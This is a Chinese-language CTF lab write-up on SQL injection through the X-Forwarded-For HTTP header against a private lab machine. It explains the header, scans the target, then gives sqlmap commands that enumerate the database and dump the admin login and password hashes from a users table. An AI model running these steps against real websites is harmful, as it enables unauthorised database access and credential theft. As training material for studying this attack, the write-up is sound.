CTF靶场训练-SQL注入(X-Forwarded-For注入)

Background

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入的大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

任何一个用户可以输入的位置都肯是注入点。比如url中,以及http报文中,头部参数;

简介

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。简单的来说,就是服务器端用来获取客户端真实IP的字段。

X-Forwarded-For格式

1
X-Forwarded-For: client1, proxy1, proxy2

X-Forwarded-For包含多个IP地址,每个值通过逗号+空格分开,最左边(client1)是最原始客户端的IP地址,中间如果有多层代理,每一层代理会将连接它的客户端IP追加在X-Forwarded-For右边。

代理方向

1
客户端=>正向代理=>透明代理=>服务器反向代理=>Web服务器

  一般的客户端(例如浏览器)发送HTTP请求是没有X-Forwarded-For头的,当请求到达第一个代理服务器时,代理服务器会加上X-Forwarded-For请求头,并将值设为客户端的IP地址(也就是最左边第一个值),后面如果还有多个代理,会依次将IP追加到X-Forwarded-For头最右边,最终请求到达Web应用服务器,应用通过获取X-Forwarded-For头取左边第一个IP即为客户端真实IP。

X-Forwarded-For注入的实现原理:伪造X-Forwarded-For头部,头部内容包含恶意的sql语句

参考博客

实验环境

  • 攻击机 Kali: 192.168.43.44
  • 靶场机器 Debian: 192.168.43.93

信息探测

探测靶机开放服务及其版本
– nmap -sV 192.168.43.97
image

【开放80端口http服务】

【Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器】

浏览器访问站点页面
image

发现管理员登陆页面
image
尝试弱口令登陆失败

漏洞扫描

使用AWVS扫描站点漏洞
(AWVS是一款专业的Web扫描工具)
这里直接给出扫描结果
image
image
发现站点存在sql注入漏洞,可注入的参数X-Forwarded-For

数据库爆破

既然知道存在sql注入漏洞
就可以用sql注入神器—-sqlmap
先做一个简单的探测
(-H +增加的头部 –batch 由系统默认参数)

1
sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" --batch

image
果然存在漏洞
那么就好办了
跑数据库名

1
root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" --dbs --batch

跑数据库表名

1
root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" -D photoblog --tables --batch

跑列名

1
root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" -D photoblog -T users --columns --batch

跑字段

1
root@kali:~# sqlmap -u "http://192.168.43.93" -H "x-forwarded-for:*" -D photoblog -T users -C login,password --dump --batch

image

获得管理员账号,就可以登陆后台了